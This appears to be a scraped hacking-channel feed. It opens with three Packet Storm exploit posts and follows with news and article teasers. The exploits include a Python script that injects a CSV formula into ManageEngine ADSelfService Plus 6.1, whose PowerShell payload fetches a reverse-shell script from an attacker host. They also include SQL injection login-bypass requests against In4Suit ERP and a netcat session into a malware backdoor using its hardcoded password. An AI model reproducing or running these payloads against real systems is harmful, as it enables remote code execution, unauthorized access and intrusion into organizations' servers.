Exploit Collector
ManageEngine ADSelfService Plus 6.1 CSV Injection

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
ManageEngine ADSelfService Plus version 6.1 suffers from a CSV injection vulnerability.

MD5 | 9c738c10b3f5eed7a8d253d8dd163f19

Download
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection
# Date: 19/05/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: 6.1
# Description: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
import requests
import sys
import urllib3

"""
Proof of Concept:
Step-1
1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below.
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0
Step-2
2- The request attempt will be saved to"User Attempts Audit Report" table that is under the Reports > Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12
j_username parameter value is saved to "User Name" column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection
will be obtained by malicious user.
Details: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
"""
def loginReq(target,payload,getCsrf):
s = requests.Session()
data = {
"j_username": payload,
"j_password": "joker",
"domainName": "ADSelfService+Plus+Authentication",
"AUTHRULE_NAME": "ADAuthenticator",
"adscsrf": getCsrf

}
url = "https://"+target+"/j_security_check"
req = s.post(url, data=data, allow_redirects=False, verify=False)
if req.status_code == 302:
print("[+] Sending request is successful.")
print("[+] Injected payload: %s" %payload)
else:
print("[-] Something went wrong!")
print(req.status_code)

def getCsrfToken(target, payload=None):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
gUrl = "https://" + target + "/authorization.do"
getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False)
print("[*] Csrf token: %s" %getCsrf.cookies['_zcsr_tmp'])
loginReq(target,payload,getCsrf)

def main(args):
if len(args) != 3:
print("usage: %s targetIp:port payload" %(args[0]))
print("Example: python3 adSelfServiceCsv.py 192.168.1.253:9251 \"=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0\"")
sys.exit(1)
getCsrfToken(target=args[1], payload=args[2])

if __name__ == "__main__":
main(args=sys.argv)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
In4Suit ERP 3.2.74.1370 SQL Injection

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
In4Suit ERP version 3.2.74.1370 suffers from a remote SQL injection vulnerability.

MD5 | 631db13ab8c6191f9561ffd9735c6f99

Download
# Exploit Title: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection
# Date: 18/05/2021
# Exploit Author: Gulab Mondal
# Vendor Homepage: https://www.in4velocity.com/in4suite-erp.html
# Version: In4Suite ERP 3.2.74.1370
# Tested on: Windows

-----------------------------------------

SQL injection in In4Suite ERP 3.2.74.1370 allows remote attackers to
modify or delete data, causing persistent changes to the application's
content or behavior by using malicious SQL queries.

--------------
# Error condition
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt=" "

# SQL Injection exploitation
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin OR '1=1&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt="

------------------------------

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Psychward.ds Weak Hardcoded Password

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Backdoor.Win32.Psychward.ds malware suffers from a weak hardcoded password issue.

MD5 | f60eb970e61d7d058ea069685259b45d

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9e22514c9b0e74c7fcb07b7c091f6123.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password for remote user access. However, the backdoors password "nivag" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
dir
<..

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pipeline attack was a warning: Stop cyber threats, or suffer a disaster

https://cdn-images-1.medium.com/max/1400/1*Al3tcUnSlgMTc1-tsMa56A.png
By Jamil N. Jaffer, NSI Founder and Executive Director, and Gen. Keith Alexander (Ret.), NSI Advisory Board member

Continue reading on The SCIF »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
12 Signs Your Computer Has Been Hacked

https://cdn-images-1.medium.com/max/1280/0*1OQbnQH8Ijs8rrth.jpg
Twelve signs your computer has been hacked.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to Become an Ethical Hacker

https://cdn-images-1.medium.com/max/2600/1*uCZkCr85I1nv534NZ-Ijtg.jpeg
learning basic hacking techniques, how to think like a hacker, and how to gain respect within the ethical hacking community.

Continue reading on TheHowTo »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DarkSide Ransomware Gang extorsionó $ 90 millones de varias víctimas en 9 meses.

https://cdn-images-1.medium.com/max/940/0*1rtumfiybfoLx307
PUBLICADO EN 19 MAYO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Phishing is Classified? (Part 2)

https://cdn-images-1.medium.com/max/2600/0*1kxmgEGRRXlm8Kxu
In part 1 of this article, we saw three types of phishing namely Spear Phishing, Clone Phishing, Angler Phishing. We also saw what they…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Kiterunner : Contextual Content Discovery Tool

For the longest of times, content discovery has been focused on finding files and folders. While this approach is effective for legacy web servers that host static files or respond with 3xx’s upon a partial path, it is no longer effective for modern web applications, specifically APIs. Over time, we have seen a lot of […]

The post Kiterunner : Contextual Content Discovery Tool appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

bypassing login
https://www.reddit.com/r/Pentesting/comments/nggvns/bypassing_login/

Hey guys, Im doing a pentest for practice in university this semester. So it is all for legal purposes what I am asking you :) I found a login page for a server but I do not have the login credentials. Also bruteforcing is out of scope, so not an option. Also, I found a URL with gobuster that lets me see what .php files are stored on the server. I I try to open them, the content is empty. I assume that is, because i somehow bypassed the authentication process. My question is, is there another way to let me see what is written in thise .php files? Do you guys have any idea? Cheers! submitted by /u/Aggressive-Till-9087 (https://www.reddit.com/user/Aggressive-Till-9087)
[link] (https://www.reddit.com/r/Pentesting/comments/nggvns/bypassing_login/) [comments] (https://www.reddit.com/r/Pentesting/comments/nggvns/bypassing_login/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Attackers Took 5 Minutes to Start Scanning for Exchange Server Flaws

Research underscores the acceleration of attack activity and points to a growing concern that defenders can't keep pace.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
SolarWinds CEO: Attack Began Much Earlier Than Previously Thought

Investigation shows threat actors began probing SolarWinds' network in January 2019, according to Sudhakar Ramakrishna.

___________________________
@hacking_Attack
@Hacking_Video